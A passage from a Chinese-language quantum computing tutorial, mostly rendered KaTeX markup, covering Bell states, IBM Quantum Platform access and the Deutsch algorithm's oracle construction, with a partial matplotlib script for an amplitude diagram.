style="height:0.8451em;"><span style="top:-2.551em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9128em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;">2</span></span><span style="top:-2.8728em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1272em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.538em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">10</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></td><td style="text-align:center"><img src="2026-07-18-19-47-20.png" alt="psi+"></td></tr><tr><td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mi>ψ</mi><mo>−</mo><mo stretchy="false">⟩</mo><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>10</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\vert{}\psi-\rangle = \frac{1}{\sqrt2}\left(-\vert{}01\rangle+\vert{}10\rangle\right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mord">−</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.3831em;vertical-align:-0.538em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.551em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9128em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;">2</span></span><span style="top:-2.8728em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1272em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.538em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">−</span><span class="mord">∣</span><span class="mord"></span><span class="mord">01</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">10</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></td><td style="text-align:center"><img src="2026-07-18-19-47-37.png" alt="psi-"></td></tr></tbody></table><h2 id="ibm-quantum-platform" tabindex="-1" id="IBM-Quantum-Platform">IBM Quantum Platform</h2><p>以 <code>.edu</code> 的 Gmail 註冊還可以獲得 10 分鐘的免費實機額度！<br><a href="https://github.com/academic-initiative/documentation/blob/main/academic-initiative/how-to/How-to-request-and-IBM-Cloud-Feature-Code/readme.md">documentation/academic-initiative/how-to/How-to-request-and-IBM-Cloud-Feature-Code/readme.md at main · academic-initiative/documentation</a></p><h1 id="%E9%87%8F%E5%AD%90%E6%BC%94%E7%AE%97%E6%B3%95" tabindex="-1">量子演算法</h1><p><img src="QA_development.jpg" alt="Quantum Algorithm development"></p><h2 id="deutsch-algorithm" tabindex="-1" id="Deutsch-algorithm">Deutsch algorithm</h2><p>考慮函數 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo>:</mo><mo stretchy="false">{</mo><mn>0</mn><mo separator="true">,</mo><mn>1</mn><mo stretchy="false">}</mo><mo>→</mo><mo stretchy="false">{</mo><mn>0</mn><mo separator="true">,</mo><mn>1</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">f:\{0,1\}\to\{0,1\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mclose">}</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mclose">}</span></span></span></span>，這個演算法能用來判斷 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi></mrow><annotation encoding="application/x-tex">f</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span></span></span></span> 是不是常數函數<br>這個演算法看似很廢(畢竟 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi></mrow><annotation encoding="application/x-tex">f</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span></span></span></span> 也只有 4 種可能)，但作為第一個量子演算法是挺重要的。<br>在古典演算法中需要分別計算 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><mn>0</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f(0)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="mopen">(</span><span class="mord">0</span><span class="mclose">)</span></span></span></span>、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f(1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="mopen">(</span><span class="mord">1</span><span class="mclose">)</span></span></span></span>，看他們是否相同才能知道，但在量子演算法中可以只跑一次就知道答案。</p><p>他的線路十分簡單：</p><p><img src="Deutsch_circuit.png" alt="Deutsch circuit"></p><p>圖片來源：<a href="https://www.jonvet.com/blog/math-behind-deutsch-algorithm">Step by step guide to Deutsch’s Algorithm</a></p><h3 id="%E5%87%BD%E6%95%B8-f-%E7%9A%84%E9%9B%BB%E8%B7%AF" tabindex="-1" id="函數-f-的電路">函數 f 的電路</h3><p>中間這個 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>U</mi><mi>f</mi></msub></mrow><annotation encoding="application/x-tex">U_f</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.109em;">U</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.1076em;">f</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span> 要怎麼設計呢？(也就是要如何把 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f(x)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span> 轉換成量子電路？)<br>我們以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mi mathvariant="normal">¬</mi><mi>x</mi></mrow><annotation encoding="application/x-tex">f(x) = \neg x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord">¬</span><span class="mord mathnormal">x</span></span></span></span> 為例</p><p>我們先做出下表：</p><table><thead><tr><th style="text-align:center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi><mi>x</mi></mrow><annotation encoding="application/x-tex">yx</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mord mathnormal">x</span></span></span></span></th><th style="text-align:center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f(x)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span></th><th style="text-align:center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>y</mi><mo mathvariant="normal">′</mo></msup><msup><mi>x</mi><mo mathvariant="normal">′</mo></msup><mo>=</mo><mo stretchy="false">(</mo><mi>y</mi><mo>⊕</mo><mi>f</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo stretchy="false">)</mo><mi>x</mi></mrow><annotation encoding="application/x-tex">y^\prime x^\prime = (y\oplus f(x))x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9463em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">))</span><span class="mord mathnormal">x</span></span></span></span></th></tr></thead><tbody><tr><td style="text-align:center">0 0</td><td style="text-align:center">1</td><td style="text-align:center">1 0</td></tr><tr><td style="text-align:center">0 1</td><td style="text-align:center">0</td><td style="text-align:center">0 1</td></tr><tr><td style="text-align:center">1 0</td><td style="text-align:center">1</td><td style="text-align:center">0 0</td></tr><tr><td style="text-align:center">1 1</td><td style="text-align:center">0</td><td style="text-align:center">1 1</td></tr></tbody></table><p>則我們要設計的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>U</mi><mi>f</mi></msub></mrow><annotation encoding="application/x-tex">U_f</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.109em;">U</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.1076em;">f</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span> 就是滿足</p><table><thead><tr><th style="text-align:center">Input(<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>q</mi><mn>1</mn></msub><msub><mi>q</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">q_1 q_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>)</th><th style="text-align:center">Output(<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>q</mi><mn>1</mn><mo mathvariant="normal">′</mo></msubsup><msubsup><mi>q</mi><mn>0</mn><mo mathvariant="normal">′</mo></msubsup><mo>=</mo><msup><mi>y</mi><mo mathvariant="normal">′</mo></msup><msup><mi>x</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">q_1^\prime q_0^\prime = y^\prime x^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.2481em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-2.4519em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2481em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-2.4519em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2481em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9463em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span></span></span>)</th></tr></thead><tbody><tr><td style="text-align:center">0 0</td><td style="text-align:center">1 0</td></tr><tr><td style="text-align:center">0 1</td><td style="text-align:center">0 1</td></tr><tr><td style="text-align:center">1 0</td><td style="text-align:center">0 0</td></tr><tr><td style="text-align:center">1 1</td><td style="text-align:center">1 1</td></tr></tbody></table><p>的電路。</p><p>經由簡單的通靈就可以發現 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>U</mi><mi>f</mi></msub><mo>=</mo><mo stretchy="false">(</mo><mi>I</mi><mo>⊗</mo><mi>X</mi><mo stretchy="false">)</mo><mi>C</mi><mi>N</mi><mi>O</mi><mi>T</mi><mo stretchy="false">(</mo><mi>I</mi><mo>⊗</mo><mi>X</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">U_f = (I\otimes X)CNOT(I\otimes X)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.109em;">U</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.1076em;">f</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0785em;">I</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0785em;">X</span><span class="mclose">)</span><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mord mathnormal" style="margin-right:0.1389em;">T</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0785em;">I</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0785em;">X</span><span class="mclose">)</span></span></span></span></p><p>總電路和結果如下：</p><p><img src="2026-07-19-13-31-25.png" alt="circuit"></p><p><img src="2026-07-19-13-31-52.png" alt="P"></p><h3 id="%E6%BC%94%E7%AE%97%E6%B3%95%E6%88%90%E5%8A%9F%E9%97%9C%E9%8D%B5" tabindex="-1" id="演算法成功關鍵">演算法成功關鍵</h3><p>為何這個演算法能成功？這歸功於</p><ol><li>疊加態：演算法可以一次性嘗試很多 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">f(x)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span></li><li>相位：可以發生干涉，把不合的消掉</li></ol><p>以上面那個 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>f</mi><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mi mathvariant="normal">¬</mi><mi>x</mi></mrow><annotation encoding="application/x-tex">f(x) = \neg x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.1076em;">f</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord">¬</span><span class="mord mathnormal">x</span></span></span></span> 為例，他的 maze 長這樣：</p><p><img src="Deutsch_maze.png" alt="Deutsch maze"></p><details><summary>一樣是 Gemini 寫的生圖扣的</summary><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> matplotlib<span class="token punctuation">.</span>pyplot <span class="token keyword">as</span> plt<span class="token comment"># 定義迷宮方法顏色常數</span>COLOR_MAP <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token string">'blue'</span><span class="token punctuation">:</span> <span class="token string">'#3498db'</span><span class="token punctuation">,</span>    <span class="token comment"># 正實數振幅 (+1)</span>    <span class="token string">'red'</span><span class="token punctuation">:</span> <span class="token string">'#e74c3c'</span><span class="token punctuation">,</span>     <span class="token comment"># 負實數振幅 (-1)</span><span class="token punctuation">&#125;</span>fig<span class="token punctuation">,</span> ax <span class="token operator">=</span> plt<span class="token punctuation">.</span>subplots<span class="token punctuation">(</span>figsize<span class="token operator">=</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 建立 7 個時間點的 X 軸位置 (0 到 6)</span>x_positions <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">]</span>labels <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">'00'</span><span class="token punctuation">,</span> <span class="token string">'01'</span><span class="token punctuation">,</span> <span class="token string">'10'</span><span class="token punctuation">,</span> <span class="token string">'11'</span><span class="token punctuation">]</span>y_positions <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">]</span> <span class="token comment"># 由上至下排列</span>label_to_y <span class="token operator">=</span> <span class="token punctuation">&#123;</span>l<span class="token punctuation">:</span> y <span class="token keyword">for</span> l<span class="token punctuation">,</span> y <span class="token keyword">in</span> <span class="token builtin">zip</span><span class="token punctuation">(</span>labels<span class="token punctuation">,</span> y_positions<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token comment"># 1. 繪製所有的黑點節點</span><span class="token keyword">for</span> x <span class="token keyword">in</span> x_positions<span class="token punctuation">:</span>    ax<span class="token punctuation">.</span>scatter<span class="token punctuation">(</span><span class="token punctuation">[</span>x<span class="token punctuation">]</span> <span class="token operator">*</span> <span class="token number">4</span><span class="token punctuation">,</span> y_positions<span class="token punctuation">,</span> color<span class="token operator">=</span><span class="token string">'black'</span><span class="token punctuation">,</span> s<span class="token operator">=</span><span class="token number">100</span><span class="token punctuation">,</span> zorder<span class="token operator">=</span><span class="token number">5</span><span class="token punctuation">)</span><span class="token comment"># 2. 僅在「最左邊」與「最右邊」標註狀態標籤</span><span class="token keyword">for</span> lbl<span class="token punctuation">,</span> y <span class="token keyword">in</span> <span class="token builtin">zip</span><span class="token punctuation">(</span>labels<span class="token punctuation">,</span> y_positions<span class="token punctuation">)</span><span class="token punctuation">:</span>    ax<span class="token punctuation">.</span>text<span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">0.15</span><span class="token punctuation">,</span> y<span class="token punctuation">,</span> lbl<span class="token punctuation">,</span> ha<span class="token operator">=</span><span class="token string">'right'</span><span 